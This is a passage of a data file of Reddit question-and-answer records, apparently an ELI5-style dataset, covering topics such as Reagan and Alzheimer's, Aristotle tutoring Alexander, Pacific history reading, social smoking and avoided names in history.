when he entered the third stage (where it appears he progressed to stage 4 when diagnosed in 1994 and continued degenerating). Because of his status and public attention, it's likely that people simply seized on early signs of it immediately, since so much of what he said and did was under intense scrutiny. However, the chances of it affecting his decisions and planning are (at least in my opinion) pretty low. Did he probably have some momentary lapses in memory that would've been roughly the same for many people his age? Yeah. However, he was flanked by aides and constantly discussion issues, as Presidents tend to. It doesn't seem very likely that by 1988 he was so far down that hole that he began making decisions based on those lapses in memory, especially since family/friends said they didn't notice a definite memory problem until 1992.\n\nHope that sheds some light on it!\n\nSource:\n\n[Cited website.](_URL_0_)\n\nM.D., L. K. A.,. (1994, Nov 08). DOCTOR'S WORLD; reagan and alzheimer's: Following path his mother traveled. New York Times. \n\nRonald Reagan's Presidency: The Impact of an Alcoholic Parent\nRobert E. Gilbert\nPolitical Psychology, Vol. 29, No. 5 (Oct., 2008), pp. 737-765", "\nThe only source I can think of for this is Edmund Morris\u2019 biography of Reagan.  Morris is very clear that Reagan had a certain \u201cblankness\u201d to him throughout his adult life:\n\n\"Decades before Alzheimer's clouded Reagan's mind, he showed a terrifying lack of human presence. \"I was real proud when Dad came to my high school commencement,\" reports his son, Michael Reagan. After posing for photos with Michael and his classmates, the future president came up to him, looked right in his eyes, and said, \"Hi, my name's Ronald Reagan. What's yours?\" Poor Michael replied, \"Dad, it's me. Your son. Mike.\"\n\nSomewhere in the book Morris also claims that Reagan\u2019s mental capacities slowly began to decline after the assassination attempt in 1981; but in this article, Morris is pretty emphatic that he feels Reagan did not have any symptoms of Alzheimer\u2019s while in office:\n\n_URL_0_\n"]}, "title_urls": [], "selftext_urls": ["https://screen.yahoo.com/president-reagan-mastermind-000000075.html"], "answers_urls": [["http://www.alz.org/alzheimers_disease_stages_of_alzheimers.asp"], ["http://www.newsweek.com/edmund-morris-reagan-and-alzheimers-66943"]]}
{"q_id": "ugimq", "title": "Why do we have cuticles?", "selftext": "What is their purpose? And what causes them to become damaged so easily? Despite taking care of my nails, mine seem to break at the edges and become painful. ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ugimq/why_do_we_have_cuticles/", "answers": {"a_id": ["c4v6kia"], "score": [5], "text": ["Humans have cuticles to protect the nail bed from bacteria. If the nail bed were to continuously grow bacteria due to a lack of protection, the nail would not grow properly."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "ag07l9", "title": "why are humans so disgusted by our body wastage", "selftext": "When most animals seem to be drawn to it?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ag07l9/eli5_why_are_humans_so_disgusted_by_our_body/", "answers": {"a_id": ["ee2m09c", "ee2mvca", "ee36hkw"], "score": [5, 6, 3], "text": ["Animals are drawn to pee and poop? I know some animals use it to mark territory, but never heard of animals being \u201cdrawn\u201d to that stuff. ", "Dogs are wolves deep down, and wolves will sometimes try to bury or *dispose of* their puppies' poo so that other predators or rival males can't identify and track the puppies.\n\nThis instinct carries over to dogs and can lead to some odd behavior around dog poop.\n\nIn general carnivorous animals make some effort to avoid their poo, as it can contain significant loads of parasites and other pathogens.\n\nHerbivore poo is a lot different, and some animals can extract more nutrients by... passing it twice...", "Humans have fairly long digestive tracts, which give bacteria time to grow and increase our chances of becoming ill from bacteria that produces compounds that are toxic to us. Also, human excrement can also carry viruses and parasites who's primary hosts are humans. Those people that did not have an aversion to human excrement got weeded out of the gene pool, leaving those who have an aversion to it, abd thus avoid it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "1fcv06", "title": "Aristotle tutored Alexander the Great: What did a typical day of lessons entail? What were Aristotle's living conditions while teaching, his pay, and his topics of lessons?", "selftext": "Do we have any records of what Alexander had to say about his tutor or vice versa? Was Aristotle held in as high a status then as he is now? How did he come to teach Alexander? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fcv06/aristotle_tutored_alexander_the_great_what_did_a/", "answers": {"a_id": ["ca93p3p", "ca94w3c", "ca98ki1", "ca9c56b", "ca9gu2j", "ca9p5ri"], "score": [37, 48, 5, 6, 2, 7], "text": ["From what I understand, part of Aristotle's payment for tutoring Alexander was that Philip II rebuilt Aristotle's hometown, which he had destroyed during his invasion of Greece. ", "This doesn't answer your entire question, but: \n\nAristotle had to flee/go into exile from Athens after Alexander's death due to anti-macedonian sentiments. So near the end of his life he was not held in a hugely popular status. Alexander acutally came to despise Aristotle before his death, sending him written threats (which is why some believe that Aristotle had a part in Alexander's death). Likewise, Aristotle was not too happy with Alexander, who he was angry at for executing his grandnephew under the guise of being a traitor. ", "While being tutored by Aristotle, Alexander was still a Macedonian prince. At that time, Macedonian princes would be surrounded by the children of nobility, undergoing all training and education with them, so this group, known as the Companions almost certainly would have been with him for whatever lessons he received. I have a vague recollection that Aristotle had the group moved away from the Macedonian capital to the mountains for educating in a more private setting though I could be incorrect. As for the lessons themselves, they almost certainly would've included logic and history though I'm not sure what else or about specifics, hope that helped!", "Follow up question:  is there any evidence that Aristotle's teachings had any effect on Alexander in adult life?", "According to my introduction to my copy of The Republic, Aristotle would've taught history, medicine, metaphysics, pschology, politics, ethics, art, math, astronomy, poetry, and everything in between.  I don't know what a daily lesson plan would look like, though.\n\nIn exchange, as mentioned, Philip II rebuilt Aristotle's hometown Stageira, in the region of Chalkidiki and freed its citizens who had been enslaved.\n\nI have no source for his living conditions, but I imagine they were very comfortable.  You don't tutor the king's only son and live in penury.", "First of all: english is not my primary language so please forgive my mistakes.\n\nWhat I know stems primarily from Russell's \"The History of Western Philosophy\". Adding to what others already said, I find the fact of Alexanders age important: He was tutored from the age 13 to 16, when he was appointed regent. He must be presumed to be able to understand ideas and concepts of children of that age, while bearing in mind the advances in pedagogy allows modern teachers to educate much more efficiently. On top of that, Aristotle was probably not a natural teacher for young students. He was a professorial type; not gifted with the exceptional literary talent of Plato, who was able to convey the most difficult concepts in understandable dialogs. Think about who would be better to teach a 15 year old physics: An able highschool teacher or Edward Witten...chances are that Witten, although he had much deeper understanding of the most complicated concepts, would not be the best in conveying the core principles. \n\nConcerning the subjects: Aristotle worked on many subjects, but metaphysics, logic, politics and ethics were most important to him. I guess, that Aristotle would have felt his metaphysics and logic to be very difficult for a boy. He would only have tried to drive home core concepts in those two, but he would really have focused on politics and ethics, since those are of importance for a ruler. \n\nHis ethics would have impressed Alexander. Alexander definitely felt that he was a \"magnanimous man\", who in Aristotle's words is the \"the crowning virtue\" and almost per definition the supreme ethical being, whose actions are always justified. (That is not really what the \"Nicomachean Ethics\" is about, but probably how a young prince would have understood it)\n\nNow the second main subject and the great divide: Politics. For Plato and Aristotle the \"Polis\" ruled supreme. I quote Wikipedia (my emphasis): \n > \"Aristotle considered the city to be a natural community. Moreover, he considered the city to be prior in importance to the family which in turn is **prior to the individual**, \"for the whole must of necessity be prior to the part\". [...] Although he was aware of the existence and potential of larger empires, the natural community according to Aristotle was the city (polis) which functions as a political \"community\".\" \n\nHe totally missed Alexanders megalomania and the fact that the idea of the polis had already been undermined by Philip II. The point that Alexander was the one that buried that idea for more than a thousand years shows, that Aristotle could not make him understand the (essentially platonic) idea of the polis (with \"more than a thousand years\" I am referring to the Lombard League).\n\n**TL:DR and** In conclusion: Although the idea, that two of the most influential men in history got along swimmingly is appealing, some clues point to the fact that the were very different characters and that they did not see each other for what they were (and that is a conclusion I have read in Russell)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], []]}
{"q_id": "1ja7rh", "title": "Good general overviews of Pacific history?", "selftext": "I've noticed the master booklist doesn't have anything on the Pacific outside WW2. Are there any good general histories of the region out there that one should read? This can or cannot include Australia, Indonesia, Japan and other larger nations but I'm primarily interested in the smaller islands. ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1ja7rh/good_general_overviews_of_pacific_history/", "answers": {"a_id": ["cbcobxw"], "score": [5], "text": ["Good question. I'll address the literature on Oceania. Kerry Howe commented in 1979 that the diversity of the region has produced a \"monographic myopia\" in the literature -- with Pacific history scholars overwhelmingly concerned with circumscribed areas without a great deal of regard for the Pacific as a whole. To some extent, that's still true -- no single study that effectively takes account of Oceania as a whole comes to mind. There are a number of studies that take a wider view, however, and I'm happy to suggest good studies on smaller areas if you're interested.\n\nThere are a few foundational works that have pushed the field toward a broader perspective. One of these is: Greg Dening. *Islands and Beaches : Discourse on a Silent Land : Marquesas, 1774-1880.* Honolulu, Hawaii: University of Hawaii Press, 1980. Dening's work (like his later books) is as much a historical anthropology of a particular region (in this case, the Marquesas) as it is a methodological reflection on the nature of island/beach encounter. It's been influential in formulating an Oceanic historical methodology, although of course not everyone relies on Dening's methods. Marshall Sahlins has been an influence on the field in similar ways.\n\nTwo Pacific Islander authors also produced important frameworks for conceptualizing Oceania. Those are:\n\nAlbert Wendt. \u201cTowards a New Oceania.\u201d In The Arnold Anthology of post-Colonial Literatures in English. New York: St. Martin\u2019s Press, 1996.\n\nEpeli Hau\u2019ofa. \u201cOur Sea of Islands.\u201d The Contemporary Pacific (Spring 1994): 148\u2013161.\n\nThe latter essay is especially good, and helps track some of the ways the field of Pacific Islands (indigenous) history has been working to move beyond the old guard of the field -- which mostly consisted of work that focused on Captain Cook and European explorers but was much less concerned with Pacific Islanders. I think it's fair to say that most or all of the studies in Pacific history that have attempted to take a broad view of the region have been profoundly influenced by Hau'ofa.\n\nSo, now to the question. A number of the studies that have attempted to survey Pacific history as a whole have focused on navigation as a literal and figurative form of regional connectedness. Paul D\u2019Arcy. *The People of the Sea: Environment, Identity, and History in Oceania.* Honolulu, Hawaii: University of Hawaii Press, 2006 does this reasonably well, although the work has some flaws. Matt Matsuda. *Pacific Worlds : a History of Seas, Peoples, and Cultures.* Cambridge: Cambridge University Press, 2011 does it somewhat less well, largely because an even broader account that includes East and Southeast Asia crowds out Pacific Islanders to some extent. \n\nThere are also some good regional histories. Fran Hezel's *The First Taint of Civilization: a History of the Caroline and Marshall Islands in Pre-Colonial Days 1521-1885.* Honolulu: University of Hawaii Press, 1983 and *Strangers in Their Own Land: A Century of Colonial Rule in the Caroline and Marshall Islands.* Honolulu: University of Hawaii Press, 1995 come to mind. Judy Bennett's *Wealth of the Solomons: A History of a Pacific Archipelago, 1800-1978.* Honolulu, Hawaii: University of Hawaii Press, 1987 is also solid.\n\nLess comprehensive (but perhaps more helpful), are several more recent studies that draw trans-Pacific connections. Alice T. Punga Somerville's *Once Were Pacific : M\u0101ori Connections to Oceania.* Minneapolis: University of Minnesota Press, 2012 is a study of Maori-Pasifika relationships in New Zealand. Lola Quan Bautista's *Steadfast Movement Around Micronesia: Satowan Enlargements Beyond Migration.* New York: Lexington Books, 2010 is a pretty circumscribed work of human geography, but it is helpful in understanding migration within and outside of the region.\n\nFinally, I'll add a few texts that use literature to create a Pacific-wide perspective, although I think all of these works take Hawai'i, New Zealand, and Australia as their centers and then extend works written by indigenous authors there as (unfairly) representative of everyone else. Those are: Susan Najita. *Decolonizing Cultures in the Pacific : Reading History and Trauma in Contemporary Fiction.* New York: Routledge, 2006; Elizabeth DeLoughrey. *Routes and Roots : Navigating Caribbean and Pacific Island Literatures.* Honolulu, Hawaii: University of Hawaii Press, 2007; Chad Allen. *Trans-Indigenous: Methodologies for Global Native Literary Studies.* Minneapolis: University of Minnesota Press, 2012.\n\nI think the go-to place for work on Oceania is still the [Pacific Islands Monograph Series](_URL_0_), which is put out by University of Hawai'i Press. Several of the titles above are included in the series, and it's a great place to start. Hope that helps.\n\nEdit: I'm not a fan of I.C. Campbell, but I thought I'd throw in his overview of Pacific history to be fair. The book is *Worlds Apart: A History of the Pacific Islands.* There's a review [here](_URL_1_), which does a good job of articulating the work's Eurocentrism. \n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://uhpress.wordpress.com/books-in-series/pacific-islands-monograph-series/", "http://muse.jhu.edu/login?auth=0&amp;type=summary&amp;url=/journals/contemporary_pacific/v017/17.2cole.html"]]}
{"q_id": "1yw7xt", "title": "Do any great apes have a difference in skin color across populations, like humans do?", "selftext": "If not, is it because great apes of the same species tend to be spread over less land than humans.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1yw7xt/do_any_great_apes_have_a_difference_in_skin_color/", "answers": {"a_id": ["cfocpec"], "score": [9], "text": ["Yes, but not in the same way humans do. Let's look at chimpanzees, the closest ape to us. They do have different skin tones but they're all different degrees of what we would consider dark skinned and their skin tends to darken with age, accounting for those differences.\n\nSkin color in humans serves a purpose however, dark skin, that is more melanin, protects better against UV and is often found in people who live near or on the equator. Light skin helps with vitamin D synthesis and is often found in people far from the equator. Less UV radiation reaches those places and UV radiation is actually important in synthesizing vitamin D, therefore lighter skin that lets more through is important.\n\nNow back to the chimpanzee, we share a common ancestor from about 7 million years ago, this adaptation of skin tone in humans emerged around 1 million years ago at the latest. \n\nSo in summary, yes apes have skin tones but they aren't like human skin tones.\n\n_URL_1_\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.nature.com/scitable/knowledge/library/overview-of-hominin-evolution-89010983", "http://johnhawks.net/explainer/adaptation/skin-pigmentation/"]]}
{"q_id": "27gfxt", "title": "how hazardous, if at all, is it to smoke cigarettes only socially (~1-2 per month)?", "selftext": "I know I know, smoking is bad for your health. I just want to know the extent of the hazard if the amount smoked is very low, around 1-2 per month. (Please don't get into willpower and the addictive qualities of nicotine, I want an explanation only of the health effects of social smoking as I described). \n\nEdit 1: If you (strongly) don't recommend smoking, even socially. Then can you please suggest another way to unwind (not alcohol). One cigarette is all I need to calm my nerves. But if even that is going to be destructive, then is there any other way to get that rush of relaxation? ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/27gfxt/eli5_how_hazardous_if_at_all_is_it_to_smoke/", "answers": {"a_id": ["ci0kaj6", "ci0kali", "ci0kdvb", "ci0kekp", "ci0kt0c"], "score": [4, 4, 2, 10, 6], "text": ["The real hazard is becoming addicted to nicotine and eventually finding yourself to be a \"real\" smoker.  I imagine the majority of smokers considered themselves to be \"social\" smokers at one time.  \n  \nI've been addicted to nicotine most of my life.  I'm dealing w/ it now through nicotine gum etc.  PLEASE listen to me: stay the fuck away from nicotine before you become addicted.", "If you think you are doing your heart and lungs a favor by smoking only \"a little,\" you're not. Light smoking may be safer for you than heavy smoking, but they still cause plenty of damage.\n\nHere are some of the hazards you'll face:\n\n\nheart disease due to high blood pressure and cholesterol-clogged arteries\n\nweakened aorta (an aortic aneurysm)\n\npremature death from cardiovascular disease\n\nlung, esophageal, stomach, and pancreatic cancer\n\nrespiratory tract infections\n\ndelayed conception in women and poorer sperm function in men\n\nslower recovery from torn cartilage and other injuries\n\ncataract\n\nincreased frailty in older men and women\n\npoorer health-related quality of life.", "30 year smoker, quit for 12 years now. I have had more than one doctor tell me that if you only smoke 1 or 2 cigs a day you are not hurting anything. If I could smoke like that I would still be smoking. But alas, I am an addict and cant smoke at all.", "No studies have been done about this level of smoking. The data we have usually defines a smoker as someone who smokes at least 5 a day (or 3 a day in some cases). So, in other words, people can speculate and try to give you an answer, but they don't know. It is most likely that this level is not worse then you'd be getting second-hand anyway; but when you're in control of your nicotine, you're more likely to get addicted and turn it into a more serious habit.", "I look at social smoking the same way I look at dieting; it all adds up over time and how little you do or don't do at intervals is almost irrelevant. If you smoke 2 a month socially, that's obviously 24 a year which is 240 in 10 years. That's 240 more opportunities for you to trigger an innately defective gene that may mean you're more susceptible to cancer than others. You may, of course, be completely fine and one of those people who smokes 100 a day and never get's cancer; all it comes down to is how much you value your life.\n\nFor me, personally, if someone said to me - here is something you can do 240 times in the next ten years that means you may develop one of a number of horrible cancers that will possibly kill you and leave your child fatherless, I might be inclined to pass for sakes of finding something else. You might not have children, but you get the point; it's not worth the risk for the sakes of putting something to your mouth twice a month.\n\nWith the above in mind, I would suggest (seriously and not for the sake of making examples) that any of the following would be rewarding in that 10 minute period of clarity of mind you're looking for:\n\nExercise - I don't know you and I don't know what state of fitness you're into but I can assure you that even mildly target driven exercise, like jogging, can be hugely rewarding in the short term and give you a rush of 'I have achieved something and I feel better' feels that is on par with a cigarette. It is also, in my opinion, hugely relaxing. You basically have 10 minutes of nothing but running and focusing on your breathing and the head space is great. Twice a month is a bout a perfect way to get into jogging. Spend the money you'd spend on cigarettes in a year on some decent running shoes.\n\nExercise not your thing? No problem, here are some other suggestions:\n\nReading - a lot of people simply dismiss this straight up because they've never engaged in active reading in the past and associate it with studying, but the key for me at least is to find something you enjoy. Now it doesn't have to be fiction, but whatever it is I can assure you beyond doubt that out there somewhere is something you wouldn't be able to put down once you started, it will be hugely rewarding and more importantly reading is for the most part all consuming. What the hell does that mean? It means you won't be thinking about smoking or the urge to smoke or that you need a smoke. You'll be using 98% of your brain for reading. I recently got into the history of the events that led up to the First War, it isn't fiction, it's seriously complicated history but at a moments notice I can pickup the book on my coffee table and get some headspace for 10 minutes; I get the relief of giving myself a break from over-thinking something at work and i'm rewarded by learning something new about something i'm interested in. I also have on my coffee table George R.R. Martins early science fiction novel and a magazine about graphic design, so that I have some options.\n\nVideo games - I don't know if you play, you might very well do already in which case excellent. I've played many video games, all kinds infact, but one thing that's helped me when i'm angry or stressed is firing up my favourite game and just doing that for an hour. Again, it's the notion of something all consuming that takes all of your attention till the desire to smoke has passed. Sometimes i'll jump into Battlefield 3 (a first person shooter) to let off some rounds, I do this with headphones in which amplifies the sound and helps with emersion. Not your thing? No problem, you can grab Steam from here: _URL_1_ and browse all the games till your hearts content, you can also sort by cost and find deals that amount to the same cost as your cigarettes. You might also be interested in adding some nostalgia into the mix, which will help remove yourself from the present by browsing a site like: _URL_0_ who have old games, made to run on modern systems, for a decent price; no more then a pack of smokes.\n\nSome suggestions there, and possibly more importantly, some food for thought regarding the habit in general. I hope it helps either way.\n\nEdit: spelling."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], ["http://www.gog.com", "http://store.steampowered.com"]]}
{"q_id": "3oggi5", "title": "how can dell buy ems when ems is quoted at being worth twice as much as dell?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3oggi5/eli5_how_can_dell_buy_ems_when_ems_is_quoted_at/", "answers": {"a_id": ["cvwyqgj"], "score": [5], "text": ["First of all, it's not just Dell buying EMC, it's a consortium including MSD Partners (Michael Dell and others), Silver Lake (a private equity firm), and a Singapore-owned investment company.\n\nOversimplified, they are buying EMC the same way you'd buy a house that is a multiple of your net worth: via borrowing (debt issuance). In fact, they're buying EMC with a combination of cash, from the various participants and borrowing, and a stock issued to track the performance of an EMC subsidiary, VMware."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1lzki4", "title": "Are there any historical figures who people refused to say the name of?", "selftext": "In the way that in Harry Potter, they insist on calling Voldemort \"He-who-must-not-be-named,\" and in Lord of the Rings, Sauron is \"The Nameless Enemy,\" or simply \"the Enemy.\" In both stories, both characters were often called the \"Dark Lord.\"\n\nAre there any historical figures whose enemies would refuse to say the name of like this, or is it just a fantasy invention? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1lzki4/are_there_any_historical_figures_who_people/", "answers": {"a_id": ["cc4bn2m", "cc4dnfe", "cc4ebgh", "cc4gzb4"], "score": [16, 3, 27, 16], "text": ["Not a human, but the Germanic word 'bear' is a euphemism, meaning \"the brown one\", avoiding the true (that is, original Proto-Indo-European) name that gives us the Romance languages' ursus. ", "Not exactly a historical figure per se, but in Judaism it is generally avoided to say the name of god, Jahve. Even when the name is written in texts, it is substituted with \"Elohim\" when reading aloud. In Christian translations of the Hebrew bible, the tradition is generally to translate Jahve into \"The Lord\" or something like that. (Jehovas Witnesses are obviously an exception to this trandition!)", "Yep.  Historically, many Jewish communities avoided saying names of non-Jewish prophets.  There's a paper [here](_URL_0_) which discusses word use in *Judezmo*/Ladino/Judeo-Spanish, with a section about how religious figures are discussed:\n\n > In Judaism, a biblical injunction commands: \u201cMake no mention of the name of \nother gods; do not let it be heard from your mouth\u201d (Exodus 23:13). This prohibition was created with pagan gods in mind, but it still has repercussions in monotheistic societies. Although the actual names of non-Jewish religious \ufb01gures are \nsometimes used in Jewish languages, Jews often prefer circumlocutions. Thus, \nin addition to (el) Moh\u00e1met, Judezmo speakers refer to Muhammad as el peygamber \u2018the prophet\u2019 (of Persian origin, through Turkish); and, instead of using \nHebrew-origin Yeshu, Greek-origin Hrist\u00f3s or French-origin Jezukristo for Jesus, \nthey may refer to him as el enklavado \u2018the nailed one\u2019 or ot\u00f3 a\u00edsh\n \u2018that man\u2019 (from Hebrew). Semantically close to ot\u00f3 a\u00edsh is Hispanic-origin il esti \u2018that one,\u2019 \nwhich was used when it was clear from the context that the reference was to Jesus. \nAccordingly, in addition to her Hebrew name, Miryam, the mother of Jesus was \nalso called la madri di esti \u2018that one\u2019s mother.\u2019 Turkish Jews also refer to Mary as \nAna, literally \u2018Mother,\u2019 an adaptation of the Turkish appellation of respect added \nto the names of women saints (e.g., Meryem Ana \u2018Mother Mary\u2019); but this use is \nprobably very new in Judezmo, perhaps re\ufb02ecting greater in\ufb02uences of Muslim \nculture on contemporary Turkish Jewry.\n\n > Aside from the terms for religious leaders, we see indirectness in the terms for \n\u2018conversion to Islam\u2019: aboltarse (literally, \u2018to turn\u2019) and \u2018cru\ufb01cix\u2019: la de kwatro \n(puntas) (literally, \u2018the one of four points\u2019). The use of the latter expression is extended to denote people who \u2018cross themselves\u2019; thus one can say of a Christian, \n\u201cEs de las kwatro puntas\u201d (He/she is of the four points). Other examples of indirectness can be found among the words discussed in the sections on Metonymy \n(4.2) and Humor (4.4) and in the Hebrew Words section (5.3).\n\n > Why do Jews often use indirectness, or euphemism, when discussing nonJews and their symbols? Why do they not limit themselves to the existing Judezmo variants of the same words the non-Jews use, such as Moh\u00e1met, Hrist\u00f3s\n\u2018Christ,\u2019 kroche \u2018cruci\ufb01x\u2019 (from Italian croce), or Miryam? In addition to the \nprohibition mentioned above, an important reason is secrecy. To minimize the \npossibility that non-Jews would realize they were being discussed, Jews could \nuse a term like ot\u00f3 a\u00edsh or la de kwatro puntas and feel reasonably sure that \nnon-Jews would not understand them. (This does not apply to a word like el peygamber, which, while enabling the Jews to avoid saying the prophet\u2019s name, is \nreadily understood by the Turks as a non-disrespectful reference to Muhammad.) \nAnother reason is the attempt to maintain distance: by avoiding the terms that \nChristians and Muslims use for their saints and symbols, Jews emphasize their \ndifference.\n\nAnother related phenomenon takes place in Yiddish.  The traditional Yiddish way of referring to \"Jesus\" is \"Yoshke\", which roughly means \"little joshie\".  In addition to being somewhat pejorative, it also tacitly avoids referencing Jesus in the way his believers do.  It also sometimes includes an epithet to implicitly deny his divine birth--see [here](_URL_1_), but that's not quite your question.\n\nIn older Jewish texts, this is common too.  Rabbi Elisha ben Abuyah is usually cited as \"acher\" in the Talmud, which means \"other\".  He apostatized, so using his name is avoided.  Another example is a messianic claimant named \"Shimon bar Kosiba\".  His supporters referred to him as \"bar Kokhba\", which means \"son of a star\", an endorsement (which eventually became the form of his name that's commonly used).  But after his revolt failed, he was called \"bar koziba\", which means \"son of lies\".\n\nA more common construction with historical figures is to suffix names with *yemakh shemo* or *yemakh shemo ve-zikhro*, meaning \"may his name be obliterated\" or \"may his name and memory be obliterated\", respectively.  This is commonly used for figures whose name would otherwise be avoided, but who have no common euphemism.  The classic religious ones are Amalek and Haman (I don't know of any non-religious references to the former, and the latter depends on what parts of Esther are historical.  But they're relevant since bad people are generally associated with Amalek), but the most common people who get that suffix are Nazis, especially Hitler.  It can also be used for wider groups, entire nationalities, etc.  While it isn't actually avoiding use of a name, it is a reference to the preference of destruction of names.  See [here](_URL_2_).\n\nA broader example is using the opposite of something as a euphemism.  The one that I first thought of when seeing your question is the phrasing \"curse the enemies of Israel\" for \"curse Israel\" or \"bless God\" for \"curse God\".  Negative references to positive things are replaced with the opposite.  That's a wider trend in ancient Jewish texts, too.  The Talmud's word for \"blind person\" is *segi nahara*, which literally means \"abundant light\".", "The temple of Artemis at Ephesus was burned in 356 B.C. by  a certain Herostratus, whose goal was to be remembered for his crime.  \n\"To dissuade those of a similar mind, the Ephesian authorities not only executed him, but attempted to condemn him to a legacy of obscurity by forbidding mention of his name under penalty of death. However, this did not stop Herostratus from achieving his goal as the ancient historian Theopompus recorded the event and its perpetrator in his Hellenics. (Wikipedia)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["http://huc.edu/faculty/faculty/benor/Lexical%20Othering%20Judezmo%20Misgav%20Yerushalayim.pdf", "http://www.dovidkatz.net/dovid/PDFLinguistics/2012_Jesus_in_Yiddish.pdf", "http://www.jewish-languages.org/jewish-english-lexicon/words/612"], []]}
{"q_id": "1xfp2k", "title": "what is a selfpost?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/1xfp2k/eli5_what_is_a_selfpost/", "answers": {"a_id": ["cfawrnw", "cfaykah", "cfaz3fl", "cfaz9ev", "cfb0zi8", "cfb36yt", "cfb3ygb"], "score": [230, 29, 26, 3, 3, 3, 2], "text": ["A post without a link. You just made a selfpost.\n\nSelfposts don't count in karma calculations.", "Why don't self posts count towards karma?", "This is a selfpost ^you've ^gone ^meta", "Why don't we just say \"text post?\" selfpost makes it sound like you're posting on yourself, as opposed to on a reddit. Is that a thing you can do? Post something on a /u/ page instead of a /r/ page?", "Self-contained post.  A post with only text.\n\nNot a link.  What you submitted :3", "again, ELI5 shows itsself as the pinnacle of intellectual content.", "-OP stands up-\n\nOP: \"What is standing?\"\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], []]}
{"q_id": "zdy8i", "title": "How did early Western nation-states deal with ethnic minorities?", "selftext": "How did countries like France, Spain, the U.S, Canada, and the like deal with ethnic minorities in their territories?\n\nIs tolerance of 'the other' (in terms of ethnicity and race) a concept that was implemented from the beginning of modernity in the West? Or is it a more modern phenomenon?\n\nI wonder because often people characterise eastern nation-states (those in the Balkans, south-east Asia, and Africa) as having undergone severe ethnic purges following the fall of colonialism and the communist bloc, whilst Western nation-state formation as being more liberal, inclusive, and 'peaceful'. \n\nI have an initial reserved response to such statements, but I don't have much in terms of history to determine whether my reaction is justified or not.\n\nCheers", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/zdy8i/how_did_early_western_nationstates_deal_with/", "answers": {"a_id": ["c63qe0m", "c63qki1", "c63rkxa", "c63tpkh", "c63ws4k", "c640xv3", "c648l45"], "score": [2, 3, 2, 3, 12, 3, 2], "text": ["At least for the US and Canada, in the early parts of our history after the arrival of the Europeans, the only people living in an area were either the people you brought with you to the colony, or the native people that were already living there.  Between the two groups it was a mixed bag of outright hostility leading to the conquest of native groups, or just gradual displacement as more colonists came in and pushed them off their land.  By displacement I mean everything from \"I don't like the new neighbors, lets move to a more remote area where we can be left alone\" to the Indian Removal Act and the Trail of Tears.\n\nThe groups that fared the best would probably be the ones that chose to settle in areas other groups deemed undesirable.  Cajuns in the Louisiana swampland and Gullah in the SC/GA sea islands.  Both made a home and a lifestyle in areas not readily hospitable to farming or urbanization and were able to stay isolated and distinct through the years, aside from losing numbers due to emigration to more desirable locations.\n\nA bit generalized, I know, but some can hopefully give some more specific answers", "In the case of France, there was a rather vigorous effort by the central government to stamp out regional ethnic identities, languages, etc. in favor of a unifying concept of frenchness.", "Well it depends where you put the limit to what consisted their \"territories\". If we are talking only of the metropolitan area I'd say that although \"recent\" the concept of tolerance for minority was known during the old days (pre revolution europe) but so were persecutions. Take the protestant in France or the Spanish Inquisition. One decade it was ok, the other it was terrible. Germans states and eastern europe have an history of Jewish and gypsies persecutions more \"rooted\" than western europe (at least as far as I know, if someone could correct me, I'm not imlying in any way that germany was geneticaly programmed to the holocaust). But at the same time in other time they were very protective. It really depends. If we take the broad pictures and include colonial area, then the \"tolerance\" of europe pretty much fades away. To various degress but the French, the English, the Ducth, etc... all did quite awfull things. The dichotomy between the principles set forth by those states and their actions is quite a \"trait\" of europeans state behavior. Take the english and their sacro-saint \"rigth of property\", well it wasn't the case for the Irish and in most of their colonial dependencies. Take the French and the rights of man, well not for slaves and colonial people. \n\n\nTo say that western europe was somewhat less barbaric than its eastern brother is fairly misleading. The \"liberal\", \"peacefull\" formation of state is a myth. And western European broad tolerance to minorities is a fairly new concept, and lightly applied... the gypsies and romani people (aside of the own problems they poses per their way of life) is quite the example of that. Hell even the \"so liberal\" Swedish have a terrible history with the Sami people.", "Mennonites were often viewed as an unrepentant minority - they set themselves apart on their \"settlements\", and had limited interactions with outsiders (to avoid \"worldliness\"). Their history might be somewhat informative: about 1/3 to 1/2 of Mennonites left the Danzig area for the Ukraine and Byelorussia (Belarus) during Catherine the Great's reign. This was primarily due to religious persecution (extra taxes, fines for conscientious objectors to military service). \n\nRising nationalism led to revocation of Russian Mennonites' status (community-run schools, exemption from military service) in the 1870's. About 1/3 to 1/2 again emigrated to the US and Canada. The remainder was subject to occasional pogroms (ethnic cleansing), forced assimilation, and the Holomodor. Survivors fled to North America throughout the early and mid 20th century. \n\nIn North America, Mennonites thrived. Conscientious objector status was respected, and community-run schools (teaching in the low-German dialect) were respected as long as this remained a community priority. They thrived so well that one faction feared they were being overwhelmed by \"worldliness\", and voluntarily emigrated to unsettled areas of South America (Paraguay, Argentina). Mennonite \"community schools\" eventually became private schools, and still exist today. \n\n\n\n\n\n\n\n\n", "I think a good way to deal with this question is how did early nation states create minorities. The idea of a minority population designated as outside the main population arises simultaneously with the idea of a nation state which articulates its identity around a particular constructed identity.   ", "How early are we talking? The Jews were treated terribly in England in the Middle Ages, with Edward 